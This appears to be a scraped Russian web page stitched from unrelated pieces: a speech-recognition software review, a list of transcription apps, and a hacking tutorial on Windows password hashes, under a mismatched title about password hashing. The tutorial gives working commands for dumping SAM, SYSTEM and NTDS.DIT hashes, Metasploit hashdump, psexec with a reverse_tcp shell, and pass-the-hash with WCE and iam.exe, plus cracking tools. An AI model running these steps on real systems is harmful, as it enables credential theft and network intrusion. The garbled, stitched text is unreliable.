Хеширование паролей c. Безопасное хеширование паролей. Количество возможных паролей

Цена — $199,99
Разработчик ScanSoft
Web-сайт www.scansoft.com
Размер Нет
Страница загрузки Нет
+
Широчайшая функциональность; рабо-та во всех Windows-приложениях; мощные словарные базы
Высокая цена
! Лучшая из существующих программ распознавания речи

Однозначно лучший из существующих модулей распознавания речи! За свою долгую историю Dragon прошел весь нелегкий путь от солдата до маршала; нет, пожалуй, все-таки не до маршала, но звание генерала армии он уж точно заслужил. Весь алгоритм работы с программой предельно прост — подключаем наушники и микрофон к соответствующим выходам из аудиоплаты и запускаем саму утилиту. Вначале пользователю будет предложено откалибровать уровень звука из микрофона и надиктовать компьютеру ряд уже готовых текстов для более тонкой подстройки Dragon Naturally Speaking под ваши тембр, интонацию и произношение. И наконец, интерактивный tutorial, где пользователя обучают базовым голосовым командам.

Стоит заметить, что ПК — это не живой собеседник и он не может додумать "проглоченные" слоги или понять неразборчиво сказанное предложение. Не меньшее значение имеет и собственный акцент диктора — такой уровень английского, который, например, звучит на разнообразных международных научных конференциях, в принципе, непригоден для работы. С другой стороны, всегда есть возможность самообучения: если Dragon никак не хочет распознавать какое-то слово, не поленитесь заглянуть в Lingvo и произнести его с учетом правильной транскрипции. Уверяю вас, максимум за неделю—две вы будете не только с легкостью надиктовывать килобайты текстов, но и щеголять среди знакомых истинно английским произношением.

Все еще не удовлетворяет качество распознавания? Обратитесь к местному Accuracy Center, который позволит оптимизировать ваш пользовательский профиль и научит, как пополнять словарь популярными нео-логизмами. Возможны и более экзотические действия вроде распознавания текстового содержимого wav-файла (в том числе и с Pocket PC или напрямую с линейного выхода аудиоплаты). Кроме того, Dragon Na-turally Speaking умеет запускать различные программы, переключаться между ними и даже управлять рядом их функций (например, начинать/приостанавливать воспроизведение музыки в медиапроигрывателе или напрямую работать с меню). Ну а в состав версий Preferred и Pro-fessional дополнительно входит собственный речевой движок Real-Speech 2, один из наиболее совершенных на сегодня.

Но вернемся к записи речи. Особенно радует то, что надиктовывать текст можно не только в родном текст-процессоре DragonPad, но и в любом другом аналогичном приложении — MS Word, Outlook Express, Internet Ex-plorer и Corel WordPerfect. С таким же успехом программа работает и с ICQ, сетевым чатом (Network Assistant) и прочими instant messengers; правда, тогда некоторые команды ста-новятся недоступны, зато для отправки сообщения даже Enter нажимать не надо, достаточно сказать: "New paragraph" — и ICQ автоматически сделает это. В более специализированных приложениях, в частности в том же Word, применяются дополнительные команды: форматирование текста, правописание, редактирование — и все исключительно за счет устной речи. Если же стандартного набора приказов оказалось мало, всегда можно создать собственные, тем самым еще более расширив функциональность Dragon. Стоит немного постараться, и вполне реально набрать страницу текста без каких-либо правок. Главное — верное сочетание интонации и, само собой, произношения. Не растягивайте фразы, но и не строчите как из пулемета, иначе процент правильно понятого материала будет уверенно стремиться к нулю. Причем вовсе необязательно постоянно смотреть в словарь — даже если вы не совсем верно выговорили какое-то словосочетание (например, I’m very happy), известное программе, она "догадается" автоматически исправить текст. Поражает? Все дело в огромном словарном запасе, который наряду с продвинутой технологией распознавания речи не оставляет никаких шансов конкурентам. Как тут не вспомнить ранние версии Dragon, с которыми автор этих строк немало намучился в прошлом, но так и не добился от них качественной работы…

Intelligent Voice Recognition System (IVOS) 2.0.2A
Shareware (30 дней trial, регистрация — $50)
Разработчик ComunX
Web-сайт www.ivos.biz
Размер 2,69 MB
Страница загрузки ftp://ftp.download.com/
pub/ppd/1007091810190380/
setup_ivos.exe
+
Микроскопический размер дистрибутива; отличная функциональность
Режим стенографирования речи пока не дотягивает до уровня Dragon
! Одна из лучших утилит в этой области

Самая скромная (по размерам дистрибутива) программа в обзоре проявила себя на удивление достойно и в значительной мере оправдала свое громкое название. Причиной тому — ее универсальность, призванная полностью искоренить средства "ручного" ввода информации. Итак, IVOS позволяет: а) распознавать речь и преобразовывать ее в текст в любом Windows-совместимом текст-процессоре; б) управлять своим ПК с помощью разнообразных голосовых команд, а также создавать свои собственные; в) озвучивать электронные книги с помощью внешних голосовых движков. Плюс, разумеется, такие мелочи, как извлечение текста из Wav-файлов, удобная, не отягощающая экран панель управления программой и демократичная (по сравнению с тем же Dragon) цена. После регистрации пользователю становится доступна технология VoiceTouch, позволяющая обучать ПК вашим собственным устным приказам.

Эффективность исполнения команд на удивление высока — пожалуй, еще лучше, чем у Realize Voice. А вот уровень распознавания "лекций" будет пониже, что и не странно: одно дело — понять пару слов, и совсем другое — цельное предложение. Надо отметить, что IVOS, как и многие другие программы распознавания речи, кроме Dragon, использует для таких целей модуль Speech API от Microsoft, и ее результативность в данной области напрямую зависит от творческих успехов этой корпорации. Тем не менее добиться качественной работы от IVOS можно уже сейчас, начитав программе все наличествующие в ее запасе обучающие тексты. Конечно, до уровня Dragon Naturally Speaking в итоге она не дотянет, но набирать не слишком сложные документы ей вполне под силу. А если еще регулярно пополнять пользовательский словарь, то и с научными терминами не будет особых проблем. Правда, здесь возникает дилемма — за ту неделю, которую придется потратить на обучение утилиты всем тонкостям работы с речью, вполне можно ударными темпами овладеть методом слепого десятипальцевого набора на клавиатуре… С другой стороны, квалификация пользователя ПК лишь повысится, если он будет владеть сразу несколькими методами ввода информации в компьютер.

Realize Voice 4.0

Realize Voice 4.0
Shareware (15 дней trial, регистрация — $49,00)
Разработчик Realize Software Corporation
Web-сайт www.realizesoftware.com
Размер 55 MB
Страница загрузки
www.realizesoftware.com/
download/RzRV40download.exe (Web-инсталлятор)
+
Неприхотлива к произношению пользователя; весьма широкий набор команд
Качество работы все-таки могло бы быть и получше; устанавливается только на англоязычную версию Windows
! Руководите своим ПК с помощью одного лишь голоса

Realize Voice, в отличие от ранее рассмотренного Dragon Naturally Speaking, не очень-то способна к стенографированию (хотя такая функция в ее арсенале и имеется), зато блестяще справляется с голосовыми командами. Что примечательно, исключительно глубоких знаний в области английского не нужно — благодаря умному модулю эвристического анализатора программа без особых проблем найдет общий язык практически с любым диктором. Спектр функций Realize Voice довольно широк: от запуска исполняемых файлов и ярлыков программ до работы с корреспонденцией и сложными макросами. Как и в остальных подобных программах, от пользователя требуется лишь подключенный микрофон и пара минут для того, чтобы вникнуть в курс дела. А перед тем как приступить к собственно общению с утилитой, стоит обозначить ей фронт работ. По умолчанию в эту категорию попадают ярлыки системного меню, Рабочего стола , содержимое папки Избранное и панели быстрого запуска, а также недавно открытые документы и программы. Весь процесс полностью автоматизирован и выполняется буквально мгновенно. Правда, некоторые неудобства вызывает невозможность использования в названии команд цифр — к примеру, запустить DOOM 3 с помощью голосового приказа удастся, лишь переименовав его ярлык в "DOOM Three". То же, кстати, касается и кириллицы — не такая уж веселая перспектива, не правда ли? Впрочем, в подобном случае всегда можно прибегнуть к ручной настройке программы, напрямую указав путь к интересующему вас файлу/документу/графическому изображению и т. д. Здесь уже название файла и его координаты никакого значения не имеют — будь он хоть абвгд.exe, да и Рабочий стол уродовать не придется. Весьма порадовал и набор встроенных системных команд для работы с Windows — хоть он и не слишком велик, но перемещаться между открытыми окнами, эмулировать действие самых распространенных клавиш (Spacebar, Insert, Home и т. д.), выключать и блокировать систему с его помощью вполне реально.

Немного о макросах. Утилита позволяет объединять под одной командой целую серию операций — начиная от ввода символов с клавиатуры и системных команд до синтеза речи посредством встроенного голосового движка. Правда, до такой идиллии, как запись CD с помощью одного-единственного словосочетания, пока далеко, но время покажет… Главное, что уже сейчас можно (и небезуспешно!) "порулить" своим домашним питомцем безо всяких анахронизмов вроде мыши и клавиатуры. Попробуйте — не пожалеете!

Voice Studio 1.4.6

Voice Studio 1.4.6
Shareware (7 дней trial, регистрация — $20,97)
Разработчик Ultimate Interactive Desktop’s
Web-сайт www.voicestudio.us
Размер 57 MB
Страница загрузки
ftp://ftp.voicestudio.us/
pub/dl2/vssetup.exe
+
Отличная функциональность; наличие "живого" анимированного персонажа; очень низкая цена
Для распознавания речи используется MS SAPI; довольно высокая ресурсоемкость
! Великолепное дополнение к Dragon для управления ПК голосом

Пожалуй, одна из немногих, если вообще не единственная такая программа, где наш виртуальный собеседник по ту сторону монитора наконец-то обрел материальную форму. И хотя технологию MS Agent, которая используется для данных целей, пока трудно назвать прообразом искусственного интеллекта, все предпосылки для этого у нее есть. Анимированный помощник не только наделен некоторой долей самостоятельности, но и умеет отвечать на ряд стандартных фраз (вроде "Hello!", "How do you feel", "Вad computer" и т. д.). При желании его словарный и фразеологический запас легко пополнить, а кроме того, задать его действия в зависимости от "настроения". Хотя подобная болтовня с ПК и будет ограничена рамками знаний программы, никто не мешает расширить их практически до бесконечности. А там уже рукой подать и до пресловутого АІ… Впрочем, я немного отвлекся.

Собственно с функциональностью Voice Studio все в полном порядке — стенографирование (правда, Dragon значительно лучше), разнообразные голосовые команды (для большего удобства и быстрейшего запоминания их можно распечатать), а также приемлемый машинный синтез речи. Из более серьезных вещей — создание макросов для запуска сразу серии операций с помощью одного ключевого слова, даже запись и воспроизведение движений мыши! Напомню, что последняя "фича" широко используется во многих альтернативных браузерах вроде GreenBrowser или MyIE2 для выполнения ряда действий (переход на другую страницу, открытие нового окна и т. д.). Теперь не надо никаких ненужных телодвижений — достаточно произнести соответствующую команду, и компьютер автоматически воссоздаст записанный ранее скрипт. Кто знает, может, скоро и в игры мы будем играть с помощью одного только микрофона? Время покажет…

А пока Voice Studio за потрясающую дружественность и легкость в работе несомненно заслуживает высшей оценки. Пусть корректная запись речи ей пока не под силу, но управление ПК голосом здесь просто бесподобно. Лучшая из таких утилит и достойное дополнение к Dragon!

Dictation 2004 v.4.5.2399

Dictation 2004 v.4.5.2399
Shareware (7 дней trial, регистрация — $49,99)
Разработчик United Research Labs
Web-сайт www.research-lab.com
Размер 41 MB
Страница загрузки
www.bandwidthsaver.com/
downloads/dict2002.zip
+
Базовый набор функций по управлению ПК и записи речи; отличная работа с wav-файлами
Не лучшие показатели распознавания речи; надоедливый модуль правки текста
! Слишком мало за такую цену

Несмотря на, казалось бы, совершенно стандартные базовые умения, кое-чем Dictation 2004 все-таки похвастаться может. В первую очередь, это технология Point-and-Speak, позволяющая с легкостью создавать команды для ввода паролей, запуска ПО и диктовать практически во всех Windows-приложениях. Заявлена интеграция с MS Word, а также интеллектуальная технология правильного определения фраз. Правда, реализована она на редкость неудобно — в виде всплывающего окна, которое появляется при каждом сказанном слове и лишь отбивает всякое желание работать. Хорошо хоть, что ее можно отключить. Dictation 2004 использует все тот же SAPI 5.1, так что качество ее принципиально не отличается от другого ПО, основанного на той же технологии (Voxx, IVOS, Realize Voice и пр.). Из дополнительных функций стоит отметить WAV Recorder для захвата информации с аудиокассет, мобильных устройств, микрофонов и последующей записи ее в wav-файлы; потом текст из них извлекается с помощью отдельного апплета Dictation — Wave-to-Text. Пока что он, конечно, все еще далек от идеала, но если у диктора четкая речь и неплохое произношение, то проблем не возникнет.

+
Универсальность в работе; разнообразие возможностей
— "Тренировка" программы займет много времени ! Интересный продукт, но мог быть и лучше…

Еще один "мастер на все руки", позволяющий вволю поболтать с ПК. Список возможностей программы весьма напоминает таковой у IVOS (стенографирование/голосовые команды/чтение текста), за исключением того, что здесь есть полезный бонус — скрупулезное озвучивание каждого вашего действия, будь то набор текста или открытие файла. Программа использует тот же Microsoft Speech API, что и IVOS, поэтому и качество распознавания у нее аналогичное. Наличествует неплохой набор голосовых команд для навигации браузером, элементарных операций в текстовом редакторе (сut/copy/paste и т. д.), а также работы с окнами, имеются ярлыки вызова системных апплетов, даже открытие/закрытие лотка оптического привода — в общем, все для комфортной работы. Что же касается синтеза речи, то он напрямую зависит от соответствующих модулей, установленных в системе. Бесплатные движки от Microsoft, поставляемые вместе с программой, далеки от идеала, но, в принципе, к ним привыкнуть можно. Более удобный вариант, увы, не безвозмездный — попробовать сторонние разработки, в частности Digit PC , ко всему прочему обладающий весьма неплохим русскоязычным диктором. Учитывая все плюсы и минусы, Voxx будет неплохим кандидатом на покупку. Кстати, trial-версия ограничена лишь количеством фраз/команд на сеанс работы; для начала нового сеанса достаточно перезапустить программу…

Заключение

Несмотря на все еще многочисленные недостатки, программы распознавания речи уже перешли из ранга игрушек в серьезный инструмент делового человека. Если раньше толку от них было мало, то теперь они позволяют реально облегчить жизнь пользователю и разрушить ранее незыблемый стереотип, что компьютер — всего лишь железный ящик, перемалывающий цифры. И конечно, самый приятный факт состоит в возможности ощутить технологический прогресс XXI столетия, о котором так часто писали многочисленные фантасты, уже сейчас. Присоединяйтесь!

Пожалуй, самая удобная программа для расшифровки текста для Windows и Mac OS, которая совмещает в себе аудиоплеер и текстовый редактор. Принцип работы очень прост – загружаете в программу аудиофайл, прослушиваете его при помощи горячих клавиш на клавиатуре (их можно назначать самому) и параллельно набираете текст. Скорость воспроизведения и громкость аудио также регулируются при помощи клавиатуры. Таким образом, ваши руки постоянно находятся на клавиатуре и отпадает необходимость использовать мышку или переключаться между разными программами. Нужно учитывать, что встроенный редактор текста не распознает ошибки и не имеет многих других привычных функций, например, переключение дефиса в тире. Однако можно пользоваться другими редакторами текста параллельно с Express Scribe, используя горячие клавиши для управления воспроизведением аудио. Программа условно бесплатная, полная стоимость: 17-50 долларов.


02. Transcriber-pro



Русскоязычная программа для Windows, которая позволяет прослушивать не только аудио, но и просматривать видеофайлы. Встроенный текстовый редактор имеет возможность проставлять временные метки и имена собеседников. Полученный текст можно импортировать в «интерактивные стенограммы», а также корректировать в рамках группового проекта. Приложение доступно только при годовой подписке, стоимость – 689 рублей в год.


03. RSplayer V1.4



Простая программа для обработки и расшифровки аудиофайлов с поддержкой горячих клавиш и возможностью набора текста в Microsoft Word. В отличие от предыдущих подобных программ, ее можно скачать бесплатно, но она нестабильно работает на новых версиях Windows.

04. Voco

Профессиональное Windows-приложение для преобразования речи в текст. Поддерживает голосовой набор в любом тестовом браузере, имеет большую коллекцию тематических словарей и не требует подключения к интернету для распознавания речи. Расширенные версии «Voco.Professional» и «Voco.Enterprise» могут работать с готовыми аудиофайлами. Единственный недостаток – высокая стоимость приложения.


05. Dragon Dictation



Бесплатное мобильное приложение для распознавания надиктованной речи. Программа умеет распознавать около 40 языков и их разновидностей, позволяет редактировать текст и отправлять его на почту, социальные сети или копировать в буфер обмена. Для работы необходимо подключение к интернету.


06. RealSpeaker



Уникальное приложение, которое способно не только распознавать аудиофайлы, но и живую речь, наговариваемую на камеру. За счет специального видеорасширения «RealSpeaker» считывает движение губ, тем самым улучшая процесс распознавания речи до 20-30% по сравнению с другими подобными алгоритмами. На данный момент приложение поддерживает 11 языков: русский, английский (американский и британский диалекты), французский, немецкий, китайский, корейский и японский, турецкий, испанский, итальянский и украинский. Программа распространяется условно бесплатно, стоимость зависит от времени подписки, бессрочная версия стоит около 2 тыс. руб.

Эта статья представляет собой полный сборник рецептов, описывающих, как сдампить хеши пользовательских паролей, восстановить исходный пасс путем выполнения брутфорса и получить с помощью извлеченного хеша доступ к защищенным ресурсам, используя недоработки протокола аутентификации NTLM. Минимум теории - только практика. Мы собрали все в одном месте и создали полный мануал.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Где пароли?

Сразу отвечу на вопрос о том, где хранятся хеши паролей в системе. В общем случае их можно извлечь из трех мест:

  • из локальной SAM-базы, где хранятся LM/NTLM-хеши локальных пользователей;
  • из кеша LSA, в который попадают LM/NTLM-хеши доменных пользователей, стираемые после перезагрузки;
  • из специального кеша, где сохраняются MSCache-хеши паролей десяти последних пользователей, которые авторизовались на данном хосте (пароли кешируются, чтобы можно было войти в систему, если связь с доменом временно отсутствует).

Если используется контроллер домена, есть еще AD-хранилище. Важно понимать одно: из каждого указанного места пароли можно сдампить! Большинство приведенных ниже приемов давно известны, но мы решили сделать своего рода полный сборник рецептов, к которому ты всегда сможешь обратиться при необходимости. Ниже 7 готовых к употреблению рецептов.

PwDump и fgdump

Начнем с ситуации, когда у нас есть физический доступ к интересующей нас системе. В этом случае NTLM/LM-хеши можно сдампить с помощью специальных утилит. В большинстве своем эти тулзы требуют высоких привилегий, так как они необходимы для DLL-инжекта с помощью SeDebugPrivilege. Будем для простоты считать, что у нас есть аккаунт с правами администратора (а еще лучше NT AUTHORITY\SYSTEM).


Если имеется физический доступ, сдамить хеши довольно просто: есть много способов, к тому же всегда можно загрузить с флешки (или LiveCD), например, Kon-Boot , чтобы войти в систему под любым пользователем. Есть и много других хаков (в том числе для повышения привилегий до NT AUTHORITY\SYSTEM с локального админа), о которых мы не раз писали в рубрике EasyHack в прошлом году. Но вернемся к процессу извлечения хешей. Самыми известными утилитами для создания дампа хешей являются pwdump и fgdump . Работать с этими тулзами достаточно просто, да и по функционалу они очень похожи. Для дампа хешей достаточно просто запустить проги:

Pwdump localhost fgdump.exe

Первая утилита выводит найденные хеши непосредственно в консоль. Вторая же сохраняет результат в файлах 127.0.0.1.PWDUMP (хеши паролей локальных пользователей) и 127.0.0.1.CACHEDUMP (закешированные хеши паролей доменных пользователей).

Одна из наиболее интересных опций, которую поддерживают обе утилиты, позволяет дампить хеши с удаленных машин. Чтобы провернуть этот фокус, скажем, с помощью pwdump, надо выполнить:

> pwdump -o mytarget.log -u MYDOMAIN\someuser -p \ "lamepassword" 10.1.1.1

Здесь 10.1.1.1 - адрес удаленной машины, MYDOMAIN\someuser - аккаунт пользователя, lamepassword - пароль пользователя, а mytarget.log - файл для сохранения результатов. В отличие от pwdump, fgdump умеет дампить хеши не только с одной машины, а сразу с нескольких:

> fgdump.exe -f hostfile.txt -u MYDOMAIN\someuser -T 10

В данном случае hostfile.txt - файл, содержащий список хостов, «-T 10» - количество параллельно работающих потоков. Полученный хеш можно попробовать сбрутфорсить с помощью специальных утилит, чтобы узнать исходный пасс (ищи целую подборку подходящих тулз на врезке).

Примечательно, что некоторые из них для большего удобства поддерживают формат вывода fgdump.exe.

Дамп паролей с помощью Volume Shadow Copy Service

Если утилитам вроде pwdump и fgdump сто лет в обед, то способ дампинга паролей, о котором пойдет речь далее, появился относительно недавно. Что круче всего, он вообще не требует сторонних инструментов и задействует только возможности самой системы. Как мы уже знаем, хеши паролей локальных пользователей хранятся в том числе и в файле SAM, правда, в зашифрованном виде. Поэтому, чтобы прочитать их, требуется еще один файл - SYSTEM. Эти два файла представляют собой системные ветви реестра, которые ОС постоянно использует, поэтому доступ к ним невозможен даже из-под администратора. Из-за этого многим приложениям, которые извлекают хеши паролей, приходится идти на ухищрения, чтобы получить доступ к этим ветвям. Мы же, чтобы скопировать эти файлы, воспользуемся легальным механизмом, который предоставляет сама ОС. Этот механизм, позволяющий делать «мгновенный снимок» тома, называется Volume Shadow Copy Service (теневое копирование тома). Он появился в ОС Windows начиная с версий XP и Server 2003. Эта технология автоматически используется, например, при создании архива System State с помощью утилиты ntbackup или при создании снимка для общей папки (Volume Shadow Copy for Shared Folders). Суть идеи состоит в том, что при теневом копировании будут созданы копии важных системных файлов (в частности, SAM и SYSTEM), доступ к которым мы сможем легко получить. Чтобы избавиться от лишней работы в консоли, воспользуемся небольшим скриптиком vssown.vbs , управляющим созданием копий. Сценарий ты найдешь на нашем диске. Для начала запускаем сервис теневого копирования: cscript vssown.vbs /start. Затем создаем новую теневую копию: cscript vssown.vbs /create. Теперь смотрим список всех теневых копий: cscript vssown.vbs /list.

Созданная нами копия будет самой последней. Из всей информации нас интересует Device object со значением «\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14» (здесь 14 - номер теневой копии). Дальнейшие манипуляции предельно просты.

  1. Копируем интересующие нас файлы:copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SYSTEM . copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SAM .
  2. Все, теперь эти файлы можно скормить какой-нибудь утилите типа SAMInside для расшифровки полученных хешей.

Дамп паролей всех пользователей домена!

Интересно, что используя предыдущий прием, можно легко слить хеши паролей не только локальных, но и вообще всех доменных пользователей! Правда, только если у нас есть доступ к контроллеру домена. Предположим, мы создали теневую копию и скопировали файлы SAM и SYSTEM. Active Directory хранит данные о пользователях в файле NTDS.DIT, так что нужно скопировать и его:

Copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\ntds\ntds.dit .

Данные о пользователях хранятся в зашифрованном виде, поэтому их нужно будет расшифровывать с помощью файла SYSTEM. Итак, что мы имеем? У нас есть файлы SYSTEM и NTDS.DIT, но как нам получить список пользователей и их хешей? До недавнего времени это было непросто, так как бесплатных утилит, способных распарсить NTDS.DIT и расшифровать хеши, не существовало. Но недавно исследователь по имени Csaba Barta выпустил тулкит, который умеет разбирать файл NTDS.DIT и извлекать оттуда хеши. Весь инструментарий доступен по адресу csababarta.com/downloads/ntdsdump hash.zip Посмотрим, как этот тулкит работает. Для дальнейших манипуляций будем использовать BackTrack5 (подойдет любой другой Linux-дистрибутив), хотя все то же самое можно провернуть и под виндой. Загружаемся, скачиваем архив тулкита и распаковываем его. Далее собираем библиотеку libesedb:

Cd libesedb chmod +x configure ./configure && make

Теперь можно приступать к дампу хэшей. Прежде всего извлекаем таблицу, содержащую зашифрованные данные:

Cd esedbtools ./esedbdumphash ../../ntds.dit

У нас появился файл /libesedb/esedbtools/ntds.dit.export/datatable. Уже профит. Теперь его надо расшифровать при помощи ключа, который содержится в SYSTEM:

Cd ../../creddump/ python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

Готово! На выходе получаем хеши всех пользователей домена! Интересно, что можно извлечь еще и предыдущие пароли пользователей (их хеши). Для этого в инструментарии имеется отдельная утилита, которую легко задействовать:

Python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable.

Если их удастся взломать, вполне можно проследить закономерность, в соответствии с которой пользователь меняет свои пароли (она очень часто существует).

HashGrab2 + samdump2

Чтобы сдампить хеши, необязательно логиниться в системе. Опять же, если есть физический доступ к компьютеру, то можно не только загрузить с LiveCD утилиту для сброса пароля (скажем, Offline NT Password & Registry Editor), но и легко сдампить хеши с помощью специального софта - еще бы, ведь никакие политики доступа к системным файлам тут не действуют. Мы воспользуемся утилитами HashGrab2 и , которые можно запустить практически из любого LiveCD-дистрибутива. HashGrab2 автоматически монтирует все Windows-разделы, которые может найти, и при помощи samdump2 извлекает логины и хеши паролей из файлов SAM и SYSTEM. Вот как это выглядит на практике:

> sudo ./hashgrab2.py HashGrab v2.0 by s3my0n http://InterN0T.net Contact: RuSH4ck3Rgmailcom [*] Mounted /dev/sda1 to /mnt/jomAT8 [*] Mounted /dev/sdb1 to /mnt/AZwJUs [*] Copying SAM and SYSTEM files... [*] Unmounting partitions... [*] Deleting mount directories... [*] Deleting ["./jomAT8"] >$ ls hashgrab2.py jomAT8.txt >$ cat ./jomAT8.txt Administrator:HASH Guest:501:HASH s3my0n:1000:HASH HomeGroupUser$:1002:HASH

Полученные хеши тут же можно скормить брутфорсеру.

Выключаем кеширование хешей паролей

Как известно, Windows кеширует хеши паролей и логины доменных пользователей, что позволяет зайти на машину, если контроллер домена отключен и недоступен. Если пользователь вводит правильный логин и пароль, то при авторизации система сохраняет хеш пароля на диске. Как ты сам понимаешь, держать такие данные на диске - не самое лучшее решение с точки зрения безопасности, так что эту функцию лучше отключить. Для этого необходимо установить ключ HKEYLOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\cachedlogonscount в значение «0». Затем надо перезагрузить компьютер, чтобы удалить все закешированные ранее пароли. С этого момента винда не будет кешировать пароли пользователей домена.

Возможности Metasploit

Допустим теперь, что у нас нет физического доступа к компьютеру. Пусть вместо этого у нас имеется удаленный шелл и в идеале Meterpreter. В Metasploit Framework уже встроен функционал для извлечения списка пользователей и хешей паролей. Делается это в одну команду:

Meterpreter > run post/windows/gather/hashdump

В результате мы получаем список пользователей и хешей. Но останавливаться на достигнутом не стоит. Metasploit - штука многофункциональная, поэтому можно попробовать использовать полученные хеши для доступа к другим компьютерам в сети жертвы - вдруг подойдут. Для этого пригодится модуль PsExec:

Meterpreter > use exploit/windows/smb/psexec meterpreter > set payload windows/meterpreter/reverse_tcp meterpreter > set rhost [адрес удаленного хоста] meterpreter > set smbpass [ранее полученный хеш пользователя] meterpreter > set smbuser [логин пользователя] meterpreter > set lhost [адрес локальной машины] meterpreter > exploit meterpreter > shell - получили шелл на удаленной машине

Как видишь, все происходит автоматически, без всяких сложностей. Чтобы дальше ковыряться с любыми файлами системы, полезно сразу поднять права. Получить их можно прямо из Метерпретера, в котором есть простая команда getsystem. Этот модуль попробует поднять права в ОС, используя уязвимости MS09-012, а также нашумевшую уязвимость MS10-015 (KiTrap0D) и не только.


Cain&Abel - еще одна замечательная тулза для брутфорса NTML хэшей
(кроме этого поддерживает взлом хэшей большого количества других алгоритмов)

Техника Pass-the-Hash

В обеих реализациях протокола NTLM есть большая дырка. Для аутентификации достаточно знать только хеш пользователя, то есть даже брутить ничего не надо. Достал хеш - и можешь лазить по сетке с правами скомпрометированного юзера:). Соответствующий метод, который носит название Pass The Hash, разработан аж в 1997 году. Одной из его самых известных реализацией является набор утилит Pass-the-Hash Toolkit . В него входит три утилиты: IAM.EXE, WHOSTHERE.EXE и GENHASH.EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NT-хешей переданного ей пароля. WHOSTHERE.EXE, выводит всю информацию о логин-сессиях, которую операционная система хранит в памяти. Тулза отображает информацию о пользователях, которые на данный момент залогинены в системе: имя юзера, домен/рабочую группу и NTLM-хеши пароля. Утилита IAM.EXE позволяет прикинуться другим пользователем при получении доступа к какой-либо папке на удаленной машине, подменяя данные текущего пользователя (логин, хеш пароля, домен и т. д.), когда они в закешированном виде отправляются удаленной системе, чтобы она могла идентифицировать пользователя и решить, предоставлять ли ему доступ к запрашиваемому ресурсу. После успешной подмены все сетевые соединения с удаленными серверами, осуществляющие аутентификацию с помощью NTLM-хешей, используют подмененные данные, что позволяет получить доступ к «чужой» шаре. Рассмотрим примерный сценарий использования:

whosthere.exe - получаем данные всех залогиненных пользователей; iam.exe -h administrator:mydomain:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 - подменяем свои данные на данные другого пользователя.

Вот, собственно, и все, теперь мы имеем права для доступа к сетевым ресурсам другого пользователя.

Windows Credentials Editor


WCE представляет собой аналог Pass-the-Hash Toolkit’а, однако здесь весь функционал сосредоточен в одном исполняемом файле. Этот инструмент мне нравится больше. При запуске без параметров приложение возвращает список пользователей, залогиненных на данный момент в системе (утилита вытаскивает NTLM/LM-хеши из памяти):

Wce.exe –l

После этого можно выбрать из них подходящего кандидата для наших черных дел и воспользоваться его данными. Допустим, нам нужно подменить свои данные на данные другого пользователя и запустить какую-нибудь программу якобы уже из-под него:

Wce.exe -s ::: \ -c

Тогда выполняем следующую команду:

Wce.exe –s user:Victim:1F27ACDE849935B0AAD3B435B51404EE:579110C49145015C47ECD267657D3174 -c "c:\Program Files\ Internet Explorer\iexplore.exe"

Здесь «-s» «добавляет» нового пользователя с именем user и доменом Victim, за которыми следует LM- и NTLM-хеш, а «-с» указывает, какую программу следует запустить под этим пользователем. Как видишь, все довольно просто. 🙂

Программы для взлома хешей

SAMInside

insidepro.com/rus/saminside.shtml Пожалуй, самая популярная программа для взлома NTLM-хешей. Позволяет импортировать свыше десяти типов данных и использовать шесть видов атак для восстановления паролей пользователей.Код брутфорсера полностью написан на асме, что обеспечивает очень высокую скорость перебора. Очень важно, что программа корректно извлекает имена и пароли пользователей Windows в национальных кодировках символов.

lm2ntcrack

www.xmco.fr/lm2ntcrack/index.html Небольшая программка, которая может выручить в трудный момент. Она позволяет взломать NT-хеш, когда LM-пароль уже известен. Вся фишка в том, что LM-пароль регистронезависимый, а NT - регистрозависимый и как раз по нему и происходит проверка. Таким образом, если ты знаешь, что LM-пароль - ADMINISTRAT0R, но не знаешь, какие буквы заглавные, а какие нет, тебе поможет lm2ntcrack.

ighashgpu

www.golubev.com/hashgpu.htm Процесс подбора очень трудоемкий и занимает много времени. Поэтому, чтобы как-то его ускорить, целесообразно использовать ресурсы самого мощного устройства в системе - видеокарты. Программа ighashgpu позволяет задействовать GPU для взлома хешей MD4, MD5, SHA1, NTLM, Oracle 11g, MySQL5, MSSQL. Если при этом использовать атаку по словарю, успешный результат можно будет получить намного быстрее.

CUDA-Multiforcer

www.cryptohaze.com/multiforcer.php Еще одна утилита, использующая мощь графической карты для взлома различных хешей. Как можно догадаться по названию, ориентирована на видеокарты фирмы nVidia. Поддерживает внушительный список хешей: MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5PS: md5($pass.$salt), MD5 SP: md5($salt.$pass), SSHA: base64(sha1($pass.$salt)), DOUBLEMD5: md5(md5($pass)), TRIPLEMD5, LM: Microsoft LanMan hash и др.

ophcrack

Программа для восстановления паролей Windows с использованием rainbow-таблиц. В таких таблицах в особой форме содержатся предварительно рассчитанные хеши для разных паролей. Таким образом, найдя заданный хэш в таблице, мы быстро получаем готовый пароль. Успех напрямую зависит от размера rainbow-таблицы. Так что, если не хочется брутить пароль тупым перебором, рекомендую скачать табличку побольше.

John the Ripper

www.openwall.com Официальная версия этого легендарного брутфорсера паролей не поддерживает взлом NTLM-хешей, но энтузиасты не могли не прокачать функционал любимой хак-тулзы. Выпущен специальный jumbo-патч, который позволяет брутфорсить более десяти дополнительных видов хешей, в том числе NTLM. На офсайте есть как diff’ы, которые можно наложить на оригинальные сорцы, так и готовые к использованию бинарники (в том числе для win32).

Заключение

Вот, собственно, и все. Мы рассмотрели все наиболее часто встречающиеся ситуации. На самом деле существует гораздо больше способов, позволяющих увести (например, с помощью снифера) и использовать хеши, но в большинстве своем они сводятся к рассмотренным выше методам.


Поскольку большая часть программистов не понимает, как работает защита паролей с помощью хэширования и как её правильно применять, то я решил составить небольшой поясняющий текст на эту тему.

